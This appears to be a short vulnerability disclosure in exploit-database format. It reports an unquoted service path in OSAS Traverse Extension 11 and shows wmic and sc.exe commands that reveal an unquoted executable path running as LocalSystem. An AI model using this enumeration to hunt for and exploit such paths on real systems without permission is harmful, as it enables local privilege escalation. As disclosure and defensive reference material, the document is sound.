26 lines
No EOL
919 B
Text
26 lines
No EOL
919 B
Text
# Exploit Title: OSAS Traverse Extension 11 - 'travextensionhostsvc' Unquoted Service Path
|
|
# Exploit Auth: Tech Johnny
|
|
# Vendor Homepage: https://www.osas.com
|
|
# Version: 11 x86
|
|
# Tested on: Windows 2012R2
|
|
|
|
Details:
|
|
|
|
C:\Windows\system32>wmic service get name, pathname, displayname,
|
|
startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr
|
|
/i /v """
|
|
|
|
TRAVERSE Automation Service TravExtensionHostSvc C:\Program Files\Open
|
|
Systems, Inc\TRAVERSE\TRAVERSE.Host.CustomExtensions.exe Auto
|
|
|
|
C:\Windows\system32>sc.exe qc travextensionhostsvc
|
|
[SC] QueryServiceConfig SUCCESS
|
|
SERVICE_NAME: travextensionhostsvc
|
|
TYPE : 10 WIN32_OWN_PROCESS
|
|
START_TYPE : 2 AUTO_START (DELAYED)
|
|
ERROR_CONTROL : 1 NORMAL
|
|
BINARY_PATH_NAME : C:\Program Files\Open Systems,Inc\TRAVERSE\TRAVERSE.Host.CustomExtensions.exe
|
|
LOAD_ORDER_GROUP : TAG : 0
|
|
DISPLAY_NAME : TRAVERSE Automation Service
|
|
DEPENDENCIES :
|
|
SERVICE_START_NAME : LocalSystem |